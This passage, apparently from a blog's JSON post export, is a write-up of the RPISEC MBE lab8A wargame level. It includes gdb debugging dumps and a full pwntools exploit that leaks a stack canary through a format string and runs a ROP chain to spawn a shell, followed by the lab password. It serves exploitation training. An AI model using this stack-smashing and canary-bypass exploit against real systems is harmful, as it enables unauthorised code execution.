connected together, like the Iliad, but by dealing with one object.-What then, is it that makes man one; why is he one and not many, e.g. animal + biped, especially if there are, as some say, an animal-itself and a biped-itself? Why are not those Forms themselves the man, so that men would exist by participation not in man, nor in-one Form, but in two, animal and biped, and in general man would be not one but more than one thing, animal and biped?\r\n\r\n...please turn to page 394...\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0x1f\r\nEBX: 0x80481a8 (&lt;_init&gt;:        push   ebx)\r\nECX: 0x80ed4d4 --&gt; 0x0\r\nEDX: 0x1f\r\nESI: 0x0\r\nEDI: 0x80ec00c --&gt; 0x80662a0 (&lt;__stpcpy_ssse3&gt;: mov    edx,DWORD PTR &#x5B;esp+0x4])\r\nEBP: 0xbffff708 --&gt; 0x8049990 (&lt;__libc_csu_fini&gt;:       push   ebx)\r\nESP: 0xbffff6e8 --&gt; 0x80491eb (&lt;main+112&gt;:      mov    DWORD PTR &#x5B;esp],0x80c0993)\r\nEIP: 0x80490dd (&lt;findSomeWords&gt;:        push   ebp)\r\nEFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\n   0x80490d6 &lt;readC+77&gt;:        call   0x806f490 &lt;__stack_chk_fail&gt;\r\n   0x80490db &lt;readC+82&gt;:        leave\r\n   0x80490dc &lt;readC+83&gt;:        ret\r\n=&gt; 0x80490dd &lt;findSomeWords&gt;:   push   ebp\r\n   0x80490de &lt;findSomeWords+1&gt;: mov    ebp,esp\r\n   0x80490e0 &lt;findSomeWords+3&gt;: sub    esp,0x28\r\n   0x80490e3 &lt;findSomeWords+6&gt;: mov    eax,gs:0x14\r\n   0x80490e9 &lt;findSomeWords+12&gt;:        mov    DWORD PTR &#x5B;ebp-0x4],eax\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbffff6e8 --&gt; 0x80491eb (&lt;main+112&gt;:     mov    DWORD PTR &#x5B;esp],0x80c0993)\r\n0004| 0xbffff6ec --&gt; 0x80c0974 (&quot;\\n...please turn to page 394...&quot;)\r\n0008| 0xbffff6f0 --&gt; 0x0\r\n0012| 0xbffff6f4 --&gt; 0x2\r\n0016| 0xbffff6f8 --&gt; 0x0\r\n0020| 0xbffff6fc --&gt; 0xbffff794 --&gt; 0xbffff8b6 (&quot;\/levels\/lab08\/lab8A&quot;)\r\n0024| 0xbffff700 --&gt; 0x1\r\n0028| 0xbffff704 --&gt; 0x44d44700\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n\r\nBreakpoint 1, 0x080490dd in findSomeWords ()\r\ngdb-peda$ c\r\nContinuing.\r\n\r\n..I like to read ^_^ &lt;==  &#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0xbffff6c8 --&gt; 0x804f510 (&lt;printf+32&gt;:     add    esp,0x1c)\r\nEBX: 0x80481a8 (&lt;_init&gt;:        push   ebx)\r\nECX: 0xffffffff\r\nEDX: 0x80ed4d4 --&gt; 0x0\r\nESI: 0x0\r\nEDI: 0x80ec00c --&gt; 0x80662a0 (&lt;__stpcpy_ssse3&gt;: mov    edx,DWORD PTR &#x5B;esp+0x4])\r\nEBP: 0xbffff6e4 --&gt; 0xbffff708 --&gt; 0x8049990 (&lt;__libc_csu_fini&gt;:        push   ebx)\r\nESP: 0xbffff6bc --&gt; 0x0\r\nEIP: 0x8049128 (&lt;findSomeWords+75&gt;:     call   0x806d6d0 &lt;read&gt;)\r\nEFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\n   0x804911a &lt;findSomeWords+61&gt;:        lea    eax,&#x5B;ebp-0x1c]\r\n   0x804911d &lt;findSomeWords+64&gt;:        mov    DWORD PTR &#x5B;esp+0x4],eax\r\n   0x8049121 &lt;findSomeWords+68&gt;:        mov    DWORD PTR &#x5B;esp],0x0\r\n=&gt; 0x8049128 &lt;findSomeWords+75&gt;:        call   0x806d6d0 &lt;read&gt;\r\n   0x804912d &lt;findSomeWords+80&gt;:        mov    eax,ds:0x80edf20\r\n   0x8049132 &lt;findSomeWords+85&gt;:        mov    edx,DWORD PTR &#x5B;eax]\r\n   0x8049134 &lt;findSomeWords+87&gt;:        mov    eax,ds:0x80edf24\r\n   0x8049139 &lt;findSomeWords+92&gt;:        mov    eax,DWORD PTR &#x5B;eax]\r\nGuessed arguments:\r\narg&#x5B;0]: 0x0\r\narg&#x5B;1]: 0xbffff6c8 --&gt; 0x804f510 (&lt;printf+32&gt;:  add    esp,0x1c)\r\narg&#x5B;2]: 0x800\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbffff6bc --&gt; 0x0\r\n0004| 0xbffff6c0 --&gt; 0xbffff6c8 --&gt; 0x804f510 (&lt;printf+32&gt;:     add    esp,0x1c)\r\n0008| 0xbffff6c4 --&gt; 0x800\r\n0012| 0xbffff6c8 --&gt; 0x804f510 (&lt;printf+32&gt;:    add    esp,0x1c)\r\n0016| 0xbffff6cc --&gt; 0x80ec200 --&gt; 0xfbad2887\r\n0020| 0xbffff6d0 --&gt; 0x80c0894 ('*' &lt;repeats 46 times&gt;, &quot;\\n{|}  Welcome to QUEND's Beta-Book-Browser  {|}\\n&quot;, '*' &lt;repeats 46 times&gt;, &quot;\\n\\n\\t==&gt; reading is for everyone &lt;==\\n\\t&#x5B;+] Enter Your Favorite &quot;...)\r\n0024| 0xbffff6d4 --&gt; 0xbffff6f0 --&gt; 0x0\r\n0028| 0xbffff6d8 --&gt; 0x80481a8 (&lt;_init&gt;:        push   ebx)\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n\r\nBreakpoint 2, 0x08049128 in findSomeWords ()\r\ngdb-peda$ p 0xbffff6e8 - 0xbffff6c8\r\n$1 = 0x20\r\n<\/pre>\n<p>Thus the offset from the buffer <code>buf<\/code> to the return address is 0x20 = 32 byte.<\/p>\n<p>Summing it up our second exploit will do the following:<br \/>\n&#8211;&gt; Leak a stack address and the stack canary and store <code>\"\/bin\/sh\"<\/code> on the stack using the function <code>selectABook<\/code>.<br \/>\n&#8211;&gt; Enter some valid input to trigger the function call to <code>findSomeWords<\/code>.<br \/>\n&#8211;&gt; Make sure the input contains the value <code>0xdeadbeef<\/code> at offset 16 to bypass the custom stack canary.<br \/>\n&#8211;&gt; Append the leaked stack canary to bypass the default stack canary.<br \/>\n&#8211;&gt; Append the ROP-chain we already used overwriting the return address with the address of the first gadget (this time no need for a pivoting gadget!).<\/p>\n<p>The final python-script for the second exploit:<\/p>\n<pre class=\"brush: python; first-line: 0; title: ; notranslate\" title=\"\">\r\nlab8A@warzone:\/levels\/lab08$ cat \/tmp\/exploit_lab8A_2.py\r\nfrom pwn import *\r\n\r\np = remote(&quot;localhost&quot;, 8841)\r\n\r\n#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n# leak stack address &amp; canary and store string \/bin\/sh\r\n\r\nfmt = &quot;%p%130$p\/bin\/sh&quot; # stack_leak &amp; stack_canary + \/bin\/sh for later use\r\np.sendline(fmt)\r\nret = p.recv(1000)\r\nhexdump(ret)\r\nstack_leak = int(ret&#x5B;0xe1:0xe9], 16)\r\nlog.success(&quot;stack_leak: &quot; + hex(stack_leak))\r\nstack_can = int(ret&#x5B;0xeb:0xf3], 16)\r\nlog.success(&quot;stack_canary: &quot; + hex(stack_can))\r\naddr_binsh = stack_leak + 8\r\n\r\n#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n# enter valid input in order to trigger findSomeWords\r\n\r\np.sendline(&quot;A&quot;)\r\np.recvuntil(&quot;..I like to read ^_^ &lt;==  &quot;)\r\n\r\n#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n# setup exploit\r\n\r\nexpl  = &quot;A&quot; * 16\r\nexpl += p32(0xdeadbeef) # custom stack canary\r\nexpl += &quot;A&quot; * 4\r\nexpl += p32(stack_can)  # default canary before saved ebp\r\nexpl += &quot;A&quot; * 4         # saved ebp\r\n                        # return address at offset 32\r\n\r\nexpl += p32(0x08054b45) # mov edx, 0xffffffff; ret\r\n\r\nexpl += p32(0x0807b8dc) # inc edx; adc al,0x39; ret\r\n\r\n                        # --&gt; EDX = 0\r\n\r\nexpl += p32(0x08049c73) # xor ecx, ecx; pop ebx; mov eax, ecx;\r\n                        # pop esi; pop edi; pop ebp; ret\r\nexpl += p32(addr_binsh) #  -&gt; ebx\r\nexpl += p32(0xdeadbeef) #  -&gt; esi\r\nexpl += p32(0xdeadbeef) #  -&gt; edi\r\nexpl += p32(0xdeadbeef) #  -&gt; ebp\r\n\r\n                        # --&gt; ECX = 0\r\n                        # --&gt; EAX = 0\r\n                        # --&gt; EBX = address of &quot;\/bin\/sh&quot;\r\n\r\nexpl += p32(0x08069443) # add eax, edi; pop edi; ret\r\nexpl += p32(0x2152411c) #  -&gt; edi: 0xdeadbeef + 0x2152411c = 0x10000000b\r\n\r\nexpl += p32(0x08069443) # add eax, edi; pop edi; ret\r\nexpl += p32(0xdeadbeef) #  -&gt; edi\r\n\r\n                        # --&gt; EAX = 0xB\r\n\r\nexpl += p32(0x08048ef6) # int 0x80\r\n\r\np.sendline(expl)\r\n\r\np.interactive()\r\n<\/pre>\n<p>Running the script:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab8A@warzone:\/levels\/lab08$ python \/tmp\/exploit_lab8A_2.py\r\n&#x5B;+] Opening connection to localhost on port 8841: Done\r\n&#x5B;+] stack_leak: 0xbfa736c0\r\n&#x5B;+] stack_canary: 0xc8b37100\r\n&#x5B;*] Switching to interactive mode\r\n$ id\r\nuid=1032(lab8end) gid=1033(lab8end) groups=1033(lab8end),1001(gameuser)\r\n$ cat \/home\/lab8end\/.pass\r\nH4x0r5_d0nt_N33d_m3t4pHYS1c5\r\n<\/pre>\n<p>Done! The final password for this lab is <code>H4x0r5_d0nt_N33d_m3t4pHYS1c5<\/code>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>While the last lab introduced the subject of Heap Exploitation, this lab focuses on Misc and Stack Cookies. The lab contains three levels again ranging from C to A: &#8211;&gt; lab8C &#8211;&gt; lab8B &#8211;&gt; lab8A<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26,7],"tags":[8,9,13,18,10,11,12,14],"class_list":["post-425","post","type-post","status-publish","format-standard","hentry","category-rpisec-mbe","category-writeup","tag-assembly","tag-binary","tag-elf","tag-gdb","tag-pwn","tag-r2","tag-reversing","tag-x86"],"_links":{"self":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/425"}],"collection":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=425"}],"version-history":[{"count":8,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/425\/revisions"}],"predecessor-version":[{"id":433,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/425\/revisions\/433"}],"wp:attachment":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=425"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=425"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=425"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}